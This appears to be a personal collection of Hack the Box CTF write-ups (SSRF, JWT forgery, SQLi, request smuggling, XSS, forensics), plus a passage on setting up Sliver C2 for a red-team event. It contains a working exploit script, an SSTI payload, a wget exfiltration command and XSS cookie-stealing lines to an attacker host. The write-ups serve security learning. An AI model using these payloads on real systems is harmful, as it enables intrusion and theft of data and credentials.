# Welcome

Welcome to my CTF writeup page

To view my blog see the link below:

{% embed url="<https://s1n1st3r.gitbook.io/theb10g/>" %}


# Web - Blueprint Heist

Hack the Box Business CTF 2024 - Web - Blueprint Heist Writeup

<figure><img src="/files/aqKYce0CKmiJchYkA9bA" alt=""><figcaption></figcaption></figure>

## Intro

While I managed to complete a few challenges in this years HTB Business CTF I thought this one deserved a writeup.

While this challenge was labeled as a medium I think it would be a hard-insane level challenge anywhere else. This is going to be a wild one so strap in and put on your learning caps.

### Challenge Description

*Amidst the chaos of their digital onslaught, they manage to extract the blueprints by inflitrating the ministry of internal affair's urban planning commission office detailing the rock and soil layout crucial for their underground tunnel schematics.*

### Challenge Files

{% file src="/files/1IF63LYcIMxeHAnVFmJr" %}

### Walk-through

To start with we are able to spin up an instance of the challenge and are given a an IP address and port number the website it running on. Along with that we are given the source code to this site, Dockerfile and all.

Right off the bat, before even reviewing the source code, when browsing the site and intercepting traffic with a proxy, I am using Burp Suite Community Edition (I'm poor), you will see when you click on 'Enviromental Impact' or 'Construction Progress' it sends a POST request to /downloads.

<figure><img src="/files/WUJNqAys5Fgm10bYaFjO" alt=""><figcaption><p>HTTP POST request to /download with token argument</p></figcaption></figure>

This download request has to arguments being passed with it. One is the token in the url, which was received by a call to /getToken (we will get to that later). The other is url, located in the POST data.

<figure><img src="/files/NFIGKZuuf8m4criNhaBH" alt=""><figcaption><p>Entire POST request to /download and response (right)</p></figcaption></figure>

First thing I checked was if this URL parameter was vulnerable to SSRF, which it was. This allowed me to point to anywhere, including my own server and localhost on the remote target. This download feature was grabbing the page it was pointed at by sending a GET request and then rendering it and converting it to a PDF using a library. This library was able to be identified by looking at the PDF properties.

The library they were using was wkhtmltopdf. This particular library is [vulnerable to Dynamic PDF XSS and SSRF](https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/), allowing me, the attacker, to point it to a page I control and telling it to redirect and grab a file instead from its local system and convert that to a pdf.&#x20;

Now, finally, I took a peek at the source code. After a quick skim I found that I wanted to get an admin JWT to reach the /admin and /graphql endpoints, and to do that and sign it I needed the secret key. Luckily the secret key is located in the /app/.env file. To grab it I followed the steps in the linked exploit of wkhtmltopdf.

<figure><img src="/files/f1x1LhYPiP5BXhN6akAc" alt=""><figcaption><p>The contents of my re-director files and the incoming requests from the vulnerable server</p></figcaption></figure>

Image Correction: Use this to host instead of python3, (for obvious reasons):

```bash
php -S 0.0.0.0:8080
```

<figure><img src="/files/RsGHAGdkDMOn1BGF2YI5" alt=""><figcaption><p>The edited POST request to /download that now points to my server</p></figcaption></figure>

<figure><img src="/files/03vs85SiRKS0DjEjnfgZ" alt=""><figcaption><p>Viewing the response PDF in the browser using Burp Suite's 'Request in browser' feature</p></figcaption></figure>

Upon pasting the link from Burp's request in browser feature we see the .env file contents!

<figure><img src="/files/IltNMc5SptbfKyF9n7b7" alt=""><figcaption><p>The /app/.env file contents via SSRF</p></figcaption></figure>

Now we can just forge a JWT token using the secret and walk right into the admin page right? Right?&#x20;

<figure><img src="/files/VExvvrKnHV36is1Tj6Vv" alt=""><figcaption></figcaption></figure>

Hell no. We have to jump through some more hurdles of course.

So armed with our forged JWT saying we are an admin I tried to access the admin endpoint at /admin. No luck. What about the /graphql endpoint? Again, no luck. It said I wasn't internal.

To try to bypass this I tried the old `X-Forwarded-For: 127.0.0.1` bypass but no dice. Looks like I actually have to have it come from internal. Luckily for us though we have an SSRF, though through a PDF generator, blah.

I took the forged token and edited my test.html file on my own server to load an iframe of `http://localhost:<random port HTB generated>/admin?token=ey...` See my problem yet?

Took a try but I then remembered that the default port for this application is 1337 and its being mapped to an external port of whatever. I fixed this in my file by just changing that port number to 1337.

I started the webserver on my server and sent the download POST request.. and... BAM got a view of the anticlimactic admin page!

<figure><img src="/files/VLmUNhaKnBOEbqL0mDE9" alt=""><figcaption><p>Generated pdf of the /admin page</p></figcaption></figure>

Not much interesting to see here besides the search user bar towards the bottom. Looking at this in the source code we can see its interacting with the /graphql endpoint, also only available locally.

Now here's where I got stuck for a bit. It was sending POST requests, as the vast majority of GraphQL endpoints use POST, and so I was trying to find a way to interact with the endpoint through the SSRF using POST requests. I tried hundreds of ways to get the pdf generator to load the javascript and make a request to the endpoint but to no avail. Finally I decided to go read some docs and thank God I did that.

You can send GraphQL queries over GET requests... As just an argument... query=... UGH

Ok so that was way easier than expected. Now I could send queries and to test it out I did the easy one that just grabs all the users:

```json
{
        getAllData {
            name
            department
            isPresent
        }
    }
```

<figure><img src="/files/dIYduI4sddNYZJ7uUTjS" alt=""><figcaption><p>Results of the query to /graphql</p></figcaption></figure>

Now there was one other query we could do and this one was vulnerable to SQL injection:

<figure><img src="/files/bmEKUsvmHukAmzb6rOMS" alt=""><figcaption><p>The line containing 'data = ...' is vulnerable to SQL injection in args.name. (Some console.log lines added by me)</p></figcaption></figure>

If we sent a GraphQL query for getDataByName we could inject into the name argument:

```json
query{getDataByName(name: "john"){isPresent, name}}
```

But again, not so simple.

If we look above the try for the query we see an if statement checking for detectSqli(args.name). Argh, are we foiled? Lets see...

<figure><img src="/files/yLJ6X5apUf2ZVwkkLeRR" alt=""><figcaption><p>detectSqli function</p></figcaption></figure>

We can see from this function that it blocks basically all special characters, except @, \`, and \~. Now I went down a rabbit hole of what I could do with those but, again, to no avail.

After a bunch of messing around I went to trying random things and when testing a new line (/n) I saw some strange behavior... I could put special characters in after the newline! This is awesome! Turns out the pattern check is not multi-line unless you specify it.

Now I created a simple request that I could test locally using SQLmap:

```json
query{getDataByName(name: "john\n*"){isPresent, name}}
```

SQLmap fired up and immediately got me a nice UNION injection!

Now we had SQLi into the database of the server! But wait, the flag isn't here, its in /root/flag.txt. And even though I was a database admin and could read files from the server I couldn't read in /root.

Looking at the source code some more we can see there is a SUID binary compiled on creation, located at /readflag, that will cat out the contents of /root/flag.txt when executed. That was the goal. Though I could read most files on the machine, I couldn't execute any, much to my annoyance.

Now I figured I should have write privileges as well in most areas but SQLmap was erroring out and not writing for some reason, turns out this is an issue with SQLmap, at least the version I was using. After intercepting the traffic with Wireshark I could see that it was using a malformed query when writing the file, causing the graphql endpoint to return an error instead of executing the query. To fix this I started doing things manually.

Now, with write permissions I needed to find what to write to in order to get code execution. There was a few places I would like to overwrite, but you can;t overwrite a file with MySQL/MariaDB. After a long source code review I found what I think could be the path to take.

In the errorController.js file it looks for a file in /app/views/errors/ with the appropriate HTTP error code number and the extension '.ejs' and then renders that.

I found that there was a popular error code missing, 404. If I could write to  /app/views/errors/404.ejs and have it rendered then I could get an SSTI vulnerability and execute code!

I created a simple SSTI payload for this:

```javascript
<h1><%= process.mainModule.require('child_process').execSync('/readflag') %></h1>
```

and then I created my custom iframe to write to /app/views/errors/404.ejs:

{% code overflow="wrap" %}

```html
<iframe src=http://localhost:1337/graphql?query=%7BgetDataByName%28name%3a%20%22john%5Cn%27%20UNION%20ALL%20SELECT%200x3c68313e3c253d2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328272f72656164666c6167272920253e3c2f68313e%2CNULL%2CNULL%2CNULL%20INTO%20DUMPFILE%20%27%2Fapp%2Fviews%2Ferrors%2F404%2Eejs%27%2D%2D%20%2D%22%29%7BisPresent%2C%20name%7D%7D&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYxMTI0MjN9.lqWwYLhKec8r4AeyG3uCeL1qaICOymVda8rFAdeEGco width=1000px height=10000px></iframe>
```

{% endcode %}

Now, I executed the /download request pointing to the file containing ^this^ on my server, I see the hit, I hold my breath and type in a random endpoint /axnfne, and hit enter...

<figure><img src="/files/IAc2oNfATXTD9HkYZghX" alt=""><figcaption><p>The Flag!</p></figcaption></figure>

BAM!&#x20;

We got it! This was definitely one of the hardest web challenges I have ever done but I loved it.

<figure><img src="/files/MUu9CO09eNbLsLIDYPzm" alt=""><figcaption><p>Me in the team Slack channel</p></figcaption></figure>

PWNED!


# Web - HTB Proxy

Hack the Box Business CTF 2024 - Web - HTB Proxy

<figure><img src="/files/RtqYFySVtDb3r4CsjzzU" alt=""><figcaption></figcaption></figure>

## Intro

This is a very short write-up of the HTB-Proxy web challenge, as it was another one of the interesting challenges the team and I completed.

### Challenge Description

*Your team is tasked to penetrate the internal networks of a raider base in order to acquire explosives, scanning their ip ranges revealed only one alive host running their own custom implementation of an HTTP proxy, have you got enough wit to get the job done?*

### Challenge Files

{% file src="/files/OhvbLjYqm6hRSv2XZq5A" %}

## Writeup

This challenge seemed pretty straight forward at first but as you progressed through it seemed to get more and more difficult.

I started off working on this challenge and routing my traffic through the proxy using curl. From reviewing the source code we can see there is a back end I wanted to reach that just as a first goal. This proved to be a lot tougher than I though though.

There are a series of checks each request through the proxy goes through, here they are in order:

* Parses headers of the HTTP request
  * If POST request:
    * Parses body
    * Compares body length to Content-Length HTTP header
* Checks if the HTTP version is 1.1
* Checks if the request is for /
  * If so it returns /app/proxy/includes/index.html
* Checks if the request is for /server-info
* Checks if the request contains /flushInterface
  * If so return "Not Allowed"
* Checks if the Host header is set
* Checks if it is an IPv4 address or domain address using regex
* Does checks on the host header looking at if its empty, checks fro port number, and checks if it is localhost using this function:

<figure><img src="/files/5tWsBGCGMjcNJSoRg738" alt=""><figcaption><p>Localhost check function</p></figcaption></figure>

* Checks if the request is malicious using this function:

<figure><img src="/files/UbewsUIpQ5rlThYH9YCx" alt=""><figcaption><p>Malicious request check function</p></figcaption></figure>

And if it makes it though all these checks then it forwards all the bytes to the target host.

### Step 1

So now step 1 was to bypass the localhost checks so we could reach one of the two backend endpoints, /getAddresses. I managed to get by the first few checks after realizing that the /server-status endpoint gave me the hostname and I used \<hostname>.local to try to route my requests. This ended up not working fully and I ended that working session a little defeated and went to work on some other challenges.

The following day, while I was still doing other challenges, some of my team was able to find a way around all the checks for localhost using <https://nip.io/> and the internal IP gathered from /server-status.

After seeing this I knew that I had to finish out this challenge I had started. As my teammates went to bed, I am in a vastly different timezone as them at the moment, I hopped on and started working on completing the rest of the steps...

### Step 2

The next step was to reach the /flushInterface endpoint it seemed. This was the only endpoint on the backend that could accept user input and actually did stuff with it. The issue was you could reach out to it over the proxy because the url is being parsed to see if it contains flushInterface.

I tried URL encoding but it doesn't get decoded, capitalization didn't work because it uses toLower on the URL before checking, and no amount of random encoding seemed to work. I was stumped...

Until I noticed that the proxy was parsing the HTTP requests in a slightly weird way.

```go
func requestParser(requestBytes []byte, remoteAddr string) (*HTTPRequest, error) {
	var requestLines []string = strings.Split(string(requestBytes), "\r\n")
	var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")

	if len(requestLines) < 1 {
		return nil, fmt.Errorf("invalid request format")
	}

	var requestLine []string = strings.Fields(requestLines[0])
	if len(requestLine) != 3 {
		return nil, fmt.Errorf("invalid request line")
	}

	var request *HTTPRequest = &HTTPRequest{
		RemoteAddr: remoteAddr,
		Method:     requestLine[0],
		URL:        requestLine[1],
		Protocol:   requestLine[2],
		Headers:    make(map[string]string),
	}

	for _, line := range requestLines[1:] {
		if line == "" {
			break
		}

		headerParts := strings.SplitN(line, ": ", 2)
		if len(headerParts) != 2 {
			continue
		}

		request.Headers[headerParts[0]] = headerParts[1]
	}

	if request.Method == HTTPMethods.POST {
		contentLength, contentLengthExists := request.Headers["Content-Length"]
		if !contentLengthExists {
			return nil, fmt.Errorf("unknown content length for body")
		}

		contentLengthInt, err := strconv.Atoi(contentLength)
		if err != nil {
			return nil, fmt.Errorf("invalid content length")
		}

		if len(bodySplit) <= 1 {
			return nil, fmt.Errorf("invalid content length")
		}
		var bodyContent string = bodySplit[1]
		if len(bodyContent) != contentLengthInt {
			return nil, fmt.Errorf("invalid content length")
		}

		request.Body = bodyContent[0:contentLengthInt]
		return request, nil
	}

	if len(bodySplit) > 1 && bodySplit[1] != "" {
		return nil, fmt.Errorf("can't include body for non-POST requests")
	}

	return request, nil
}
```

Reading through this you can see that it is parsing the body by just splitting the message into an array where \r\n\r\n is.  In a normal HTTP request that is OK as the body is located after \r\n\r\n usually, but as an attacker we can use this to our advantage and attach a second request to the end and perform and HTTP request smuggling attack. This was easier said than done though as we had to now bypass a check on content-length to avoid the checkMaliciousBody function (which would ruin us because it checks for /n and /r).

After some messing around I found a way to successfully smuggle a request through and avoid the checks, you'll find it in the exploit script at the bottom.

### Step 3

Now we could reach the /flushInterface endpoint and send out data to it but it seemed to be just sending the user supplied interface to ipWrapper.addr.flush.

```go
app.post("/flushInterface", validateInput, async (req, res) => {
    console.log("Hit on flushInterface!")
    const { interface } = req.body;
    console.log(interface)

    try {
        const addr = await ipWrapper.addr.flush(interface);
        res.json(addr);
    } catch (err) {
        res.status(401).json({message: "Error flushing interface"});
    }
});
```

This wasn't anything custom or interesting... Unless you go to the package, ip-wrapper, on NPM and[ review the code](https://www.npmjs.com/package/ip-wrapper?activeTab=code).

From doing this I found that the interface is just being passed into an exec call raw, no filtering. Now we just had to exploit this command injection vulnerability.

This was straight forward and I escaped the command it was running using a semi-colon and then added my command with ${IFS} as spaces, as spaces were filtered out when validating the interface in this function:

```javascript
const validateInput = (req, res, next) => {
    const { interface } = req.body;

    if (
        !interface || 
        typeof interface !== "string" || 
        interface.trim() === "" || 
        interface.includes(" ")
    ) {
        return res.status(400).json({message: "A valid interface is required"});
    }

    next();
}
```

My payload:

{% code overflow="wrap" %}

```json
{"interface": ";cat${IFS}/flag.txt${IFS}|${IFS}xargs${IFS}wget${IFS}http://{attack_box}/${IFS}--post-data"}
```

{% endcode %}

Testing this locally, and with more verbose output, you can see whats happening and the exploit chain working:

<figure><img src="/files/pknnNYVvhfZtF3k8od36" alt=""><figcaption><p>Local version of proxy with verbose output</p></figcaption></figure>

And with that I had the flag!

<figure><img src="/files/8cghVdDJAgZx2ZbfBOZK" alt=""><figcaption><p>Received flag from server</p></figcaption></figure>

## Full Exploit Script

{% code overflow="wrap" lineNumbers="true" %}

```python
import socket

attack_box = 'blah.blah.com:8080'
proxy_host = '94.237.60.187'  # Proxy server address
proxy_port = 40205  # Proxy server port
internal_ip = '192.168.34.37' # from /server-status
#convert the . in the ip to - for the magic-192-168-34-37.nip.io
internal_ip = internal_ip.replace('.', '-')
target_url = f'http://magic-{internal_ip}.nip.io:5000/getAddresses'  # URL to request via the proxy
host = 'magic-{internal_ip}.nip.io:5000'
data = ""
data2 = '{"interface": ";cat${IFS}/flag.txt${IFS}|${IFS}xargs${IFS}wget${IFS}http://{attack_box}/${IFS}--post-data"}'
content_length = len(data)
content_length2 = len(data2)
smuggle_payload = f"POST http://magic-{internal_ip}.nip.io:5000/flushInterface HTTP/1.1\r\nHost: magic-172-17-0-2.nip.io:5000\r\nContent-Type: application/json\r\nContent-Length: {content_length2}\r\n\r\n{data2}"

def send_http_request_through_proxy(proxy_host, proxy_port, target_url):
    # Create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Connect to the proxy server
    s.connect((proxy_host, proxy_port))

    # Formulate a GET request with the full URL
    request = f"POST {target_url} HTTP/1.1\r\nHost: {host}\r\nContent-Length: {content_length}\r\nContent-Type: application/json\r\n\r\n{data}\r\n\r\n{smuggle_payload}"

    # Send the request to the proxy
    s.send(request.encode())

    # Receive the response from the proxy
    response = b''
    while True:
        buffer = s.recv(4096)
        if not buffer:
            break
        response += buffer

    # Close the socket
    s.close()

    # Return the response as a string
    return response.decode()
# Sending the request and printing the response
response = send_http_request_through_proxy(proxy_host, proxy_port, target_url)
print(response)


```

{% endcode %}


# 2022 HTB Cyber Apocalypse Challenges

HTB Cyber Apocalypse 2022 Challenges I solved

These are the challenges I solved.

{% file src="/files/dMIUvciKEcb3Z7Qc7bW6" %}


# Web - Kryptos Support

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Kryptos Support Web Challenge Writeup

Kryptos Support was the first web challenge in Hack the Box's Cyber Apocalypse CTF and was the easiest, as it had the most solves. Our team couldn't solve it for a long time though. As you will see in this write up it involves context clues to get this one solved.

To start off with we are greeted by a page where we can provide feedback on the Kryptos Vault. This page also has a button labeled backend that will take you to a login page. These are the only two pages you have access to but with a dirbuster scan we can see there are more. Now to start we looked for SQLI or any CVEs that were known for the middleware and backend. We found none and couldn't scout out anything else. This is where we got stuck and we went to spend time on other challenges instead.

When I came back to this challenge I knew I would have to look at every small detail. And that's when it hit me. When you submit a ticket it says "An admin will review your ticket shortly!"

![](/files/tshlh9pjoF28sv7AlEZL)

This made me think that there was something on the other side loading the tickets. That's when I tried a super simple XSS attack using this payload:

```
<img src=http://a9cc-72-74-50-90.ngrok.io/test.jpeg></img>
```

And I got a hit back!

After realizing thats the attack vector I needed to exploit I immediately went to steal the session from the bot opening it on the backend using this payload:

```
<script>var i=new Image;i.src="http://a9cc-72-74-50-90.ngrok.io/?"+document.cookie;</script>
```

And this worked too!

Now using this session I grabbed I just added it to my cookies and headed to the login page and BOOM I was in.

![](/files/65jrBMIwWxSe0fP9IAfu)

Now we are logged in as a moderator and from my dirbuster scan I know there is an /admin page, so I tried to visit there andd..... no luck. This means we have to find a way to escalate our privileges. From looking around I see there is an settings page and on that page is a change password feature. I went ahead and intercepted the request it makes to change the password in BurpSuite and it only takes in two things: the UID of the account, and the new password. Lets see if it checks the session as well...

![](/files/NsXxahTG9yDVp4007YpF)

It doesn't! By just changing the UID to 1, for the first account, instead of the moderator UID, I changed the admin password. Now all I had to do was sign out and login with username admin and password test and I was in on the admin page:

![](/files/YdVPeFI6x3VvxMxDXERx)

PWNED!!


# Web - Mutation Lab

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Mutation Lab Web Challenge Writeup

To start off with we are shown a login screen. This screen also has a register account button on it and that is what I utilized first to see what is past the login page.

![](/files/dwYjMeCMhS8WILHYXFr4)

After logging in we can see an interesting dashboard. After messing around a bit I found a key feature that I will most likely be able to exploit and what I am going after.

![](/files/ZpIiAmahJtAhtijZ5YL6)

As you can see, from the circled text above there are confidential records, the flag most likely, that only the admin can view. So I need to view this page as an admin. There is also a feature that allows you to export the samples you make as images. To do this it uses a backend feature called 'convert-svg-core' which has a CVE POC for local file inclusion (LFI), <https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-1582785> , which we could possibly exploit in this website. After a tiny bit of manipulation we got it working! We were blind in this environment but because it is a node.js app we were able to find the index.js file at /app/index.js which gave me a better insight into this web applications backend.

![](/files/iZ9pNZniyCRIs7OeKtWl)

In this file we can see a reference to /app/.env ... Lets check it out.

![](/files/jGqzIwP5VTj3a0LoZtCG)

A session secret key! This is big because from this applications index.js file we can see it being used to create sessions using just the username and the secret. Now we just have to replicate that on our own machine and create a session for the admin account with the secret and replace our current account session with the new admin one.

This took longer than it should have but I eventually got an exact replica of my own session using the username 'test' using this locally:

![](/files/TIPyXgdPx33OW0LEPfQF)

Now I just changed the username being used to 'admin' and refreshed the dashboard and there the flag was.

![](/files/IYv5I3S5sCu0i17JnQpK)

PWNED!!


# Misc - Compressor

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Compressor Misc Challenge Writeup

To start this challange we get an IP and port, per usual, and so we use nc to connect.

![](/files/theQGjVV4DailJkNMxUh)

Its got some weird stuff going on but lets poke around...

![](/files/HZ786m4eB9xngkYI9fdD)

Ah! Its letting us know what commands its running and with what input. Lets use this to our advantage and get the flag.

![](/files/1Ig1XUWDXlZZnAXQDOgl)

PWNED!!


# Misc - Matrioshka Brain

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Matrioshka Brain Misc Challenge Writeup

This challenge had less than 200 solves last I checked. It really involves thinking outside the box and not just looking for hidden VBA scripts or steganography.

To start off we are given a .csv file and told there are inconsistencies in the numbers in it. I opened it in excel and got the average of all the data. I went to conditional formatting to spot the outliers and immediately noticed stuff kinda like words when I highlighted all the ones above average. I switched it over to below average and boom:

![](/files/qljhdNHFFb01NkIHE5NJ)

PWNED?? (Maybe)


# Forensics - Puppeteer

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Puppeteer Forensics Challenge Writeup

To start we were given a large number of event log files (.evtx). To view these you can open them in Event Viewer on Windows. After looking through them a bit I drifted toward the powershell logs and thats when I found the first part in "...Powershell%40Operational".

![](/files/7d0RqpBEE5AA1Ic7QQpS)

As you can see above there is an obfuscated powershell script being created. This is most likely something malicious so lets go look into it in Powershell ISE.

![](/files/mxPKjN3lJYyVIrnfJDiL)

After pasting in the script I made sure it wouldnt execute anything and added an echo statement to print out the variable $stage3. This printed out a bunch of numbers which I immediately knew were representing characters so I plugged them into CyberChef and cha ching...

![](/files/3VWtgT6ydzOlJiWf2Srr)

PWNED!!


# Forensics - Golden Persistence

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Golden Persistence Forensics Challenge Writeup

For this one we started with an NTUSER.DAT file. I went ahead and opened it in MiTeC Windows Registry Recovery which allows me to explore the entire file easily. From looking around briefly we can see there is a startup process being run that executes an encoded powershell script.

![](/files/05HiQPNxMtQAczLxKBHc)

To view the whole command and copy it I headed over to the raw data section and searched for the name.

![](/files/gTpRUjz5MOQTd4Hl2XRc)

Once that popped up I copied the encoded text and plugged it into CyberChef.

![](/files/aYPkd1FfWwi0xMgfJv06)

Towards the bottom it grabs a few other files and uses their data conjoined to load the encrypted data.

```
[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex
```

I went through and found each of these files and grabbed the data from them and plugged it into the powershell script manually.

![](/files/3STFqvx2Ih4hGOqprBWZ)

After doing this I made sure nothing would execute and then I ran it so it would print out the encrypted data in plaintext and there was the flag.

![](/files/5gzFBhAMTpoVnwsPGP4X)

PWNED!!


# Forensics - Automation

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Automation Forensics Challenge Writeup

For this challenge we started with a PCAP, or packet capture, file. Just from scrolling through briefly I noticed one http steam that seemed interesting. It was requesting a desktop.png file but this file was base64 encoded. I copied this text over to CyberChef and decoded it.

![](/files/KfoI4DYYkyRYR2YOCaJy)

I edited the payload not to execute anything on my machine and started reading through. From what I read it was grabbing all the subdomains of a website through DNS and then decrypting the subdomain so if it received one like XYSEF.windowsliveupdater.com it would split it so XYSEF was left and then decrypt it, run it, and send the response back over DNS to the website. This was really cool and sneaky.

![](/files/nrVE1EAHLo2kwsCGLtO7)

Looking back at the packet capture we can see where this happens and I grabbed all the subdomains it got and decrypted them using the script and got this:

![](/files/UdwY4PrJRlROxfvip0bE)

If you base64 decode the user it adds on the second to last line you get the first part of the flag. That means we are going to have to dig a little deeper to find the second part and its probably in the responses being sent back.

I grabbed each response, which were separated by a start.windowsliveupdater.com and an end.windowsliveupdater.com, and decrypted them one at a time until I got to the part two of the flag:

![](/files/lA8wCVWnQXA3XZt0DspA)

Now we had the complete flag and I submitted it!

PWNED!!


# Reversing - Rebuilding

Hack the Box Cyber Apocalypse CTF 2022 - Intergalactic Chase, Rebuilding Reversing Challenge Writeup

This challenge starts out with a binary that we can just plug into Ghidra. Once you load it and analyze it you can see in the main function this:

![](/files/bQg5cKxcScSKfklFqw3S)

I have a little translation of what is happening in notepad in the bottom right of the photo, I was up late and rushing. Basically it was grabbing the encrypted data and key and performing an XOR to compare each character to see if the password was correct. This xor key was "human" and so we thought we had it but turns out that wasn't right as we got a bunch of garbled data. Turns out there was a little trick happening when it was run...

![](/files/SmH9FyERT5ucysuuFjVD)

It was changing the key from "humans" to "aliens". Now if you just use that as the key in CyberChef you can get the flag.

![](/files/9n7AQT2U73wiJAqeqGya)

PWNED!!


# whoami

![](/files/ENiCqmmlRNUZZbEF6Osj)

Hello! My name is Grant, I compete under the name s1n1st3r, and I am a junior penetration tester and cybersecurity professional. I am a current student at Virginia Tech and am a certified eJPT and CEH (practical) and am currently working on my OSCP. I enjoy doing Hack the Box and TryHackMe rooms as well as CTFs and am practicing my writeup skills here.

{% embed url="<https://www.linkedin.com/in/grant-smith-129240199/>" %}

{% embed url="<https://github.com/gsmith257-cyber>" %}


# MISI Hack the Building 2.0 Hospital Edition

Welcome, or welcome back, its been a while since I have posted but this one will be worth the wait. In this post we will cover what my team and I did to get third place in the Hack the Hospital event.

In this we will be covering:

* C2 Setup (Sliver)
* Malware writing
* AV / EDR Evasion
* "Ransomeware" writing
* Physical attacks (USB Rubber Ducky & Bash Bunny)
* Active Directory attacks
* Network detection evasion
* and more...

I hope you are as excited as I am for this!

### C2 Evaluations

Before the event started we were informed that the networks, for the most part, would have WLAN access and that we were permitted to setup C2 if we wished.

I immediately hopped onto this and went about testing a few C2 frameworks. Over this few day period I tested Havoc, Empire, and Sliver.

Havoc was too much in a dev stage to use is what I got out of it, too many errors running it and just didn't feel like a finished product yet, but still is a great tool by all means.

Empire was good, but almost all focused on Windows systems, which isn't an issue if you know your target network architecture already but we had only a few hints to go off of and we knew there would be a good number of Linux machines in the environment, so Empire failed on that from for us.

Finally came Sliver. Sliver has a lot of amazing features and utilities and is highly customizable for both Linux and Windows, with more features for Windows but that ended up being what we needed. Because of how easy it is to use and the customization options of the framework I decided to use it.

### Sliver C2 Setup

I started the setup by creating a Ubuntu droplet with Digital Ocean, just using the cheapest option of 25 GB storage and like 1 core of a CPU. Didn't have to be anything powerful.

Once the droplet was started I installed the [optional dependencies for Sliver](https://github.com/BishopFox/sliver/wiki/Getting-Started) and then used the Linux one liner installer from the readme file.

Now with the server installed I needed to configure it. To start we need to [enable multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) and add some operators. After doing this I needed to [change the configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files). Can't be having it running default configs, too easy for the blue team to catch. I changed the server configuration, mainly just the mode and port, to the following:

```json
{
    "daemon_mode": true, //changed to true
    "daemon": {
        "host": "",
        "port": 55232 //changed to new random high port
    },
    "logs": {
        "level": 4,
        "grpc_unary_payloads": false,
        "grpc_stream_payloads": false,
        "tls_key_logger": false
    },
    "jobs": {
        "multiplayer": null
    },
    "watch_tower": null,
    "go_proxy": ""
}
```

And then started the sliver-server binary again. This time it has no CLI or output, instead we have to connect with the operator profiles we generated before turning on daemon mode.

Using the most recent (at the time of writing) version of the [precompiled sliver-client](https://github.com/BishopFox/sliver/releases/tag/v1.5.41) we can import the operator config we generated earlier and then connect to the server from where-ever. No need to ssh in or anything "crazy".

Now with the server started and our operators able to connect we need to configure what tools the operators want to be able to use. Sliver has a feature called [the armory](https://github.com/BishopFox/sliver/wiki/Armory) which allows operators to download [BOFs](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/) and other tools locally that you might want to run on machines you compromise. This I found was a very useful feature, especially if you are unable to drop into a shell on the machine due to OPSEC concerns.

Now the last thing we need to finish setting up in Sliver is the profiles we want to use to generate our shellcode. This is very situational dependent and is also highly customizable.

```
sliver > profiles new -h

Command: new <options> <profile name>
.........
Flags:
======
  -a, --arch               string    cpu architecture (default: amd64)
  -c, --canary             string    canary domain(s)
  -d, --debug                        enable debug features
  -O, --debug-file         string    path to debug output
  -G, --disable-sgn                  disable shikata ga nai shellcode encoder
  -n, --dns                string    dns connection strings
  -e, --evasion                      enable evasion features
  -f, --format             string    Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
  -h, --help                         display help
  -b, --http               string    http(s) connection strings
  -X, --key-exchange       int       wg key-exchange port (default: 1337)
  -w, --limit-datetime     string    limit execution to before datetime
  -x, --limit-domainjoined           limit execution to domain joined machines
  -F, --limit-fileexists   string    limit execution to hosts with this file in the filesystem
  -z, --limit-hostname     string    limit execution to specified hostname
  -L, --limit-locale       string    limit execution to hosts that match this locale
  -y, --limit-username     string    limit execution to specified username
  -k, --max-errors         int       max number of connection errors (default: 1000)
  -m, --mtls               string    mtls connection strings
  -N, --name               string    implant name
  -p, --named-pipe         string    named-pipe connection strings
  -o, --os                 string    operating system (default: windows)
  -P, --poll-timeout       int       long poll request timeout (default: 360)
  -j, --reconnect          int       attempt to reconnect every n second(s) (default: 60)
  -R, --run-at-load                  run the implant entrypoint from DllMain/Constructor (shared library only)
  -l, --skip-symbols                 skip symbol obfuscation
  -Z, --strategy           string    specify a connection strategy (r = random, rd = random domain, s = sequential)
  -T, --tcp-comms          int       wg c2 comms port (default: 8888)
  -i, --tcp-pivot          string    tcp-pivot connection strings
  -I, --template           string    implant code template (default: sliver)
  -t, --timeout            int       command timeout in seconds (default: 60)
  -g, --wg                 string    wg connection strings

Sub Commands:
=============
  beacon  Create a new implant profile (beacon)
```

We opted to go with three profiles. One for Windows x64 session shellcode, another for a Windows x64 beacon, and lastly for a Linux x64 beacon.

Now with these created we could generate our shellcode using the generate command and specify our output as raw. This will take a few seconds, as Sliver shellcode is like 13-15 MB.

**NOTE:** When using a custom loader disable shikata ga nai encoder

For more Sliver OPSEC notes check our [this blog](https://tishina.in/opsec/sliver-opsec-notes).

### AV / EDR Evasion

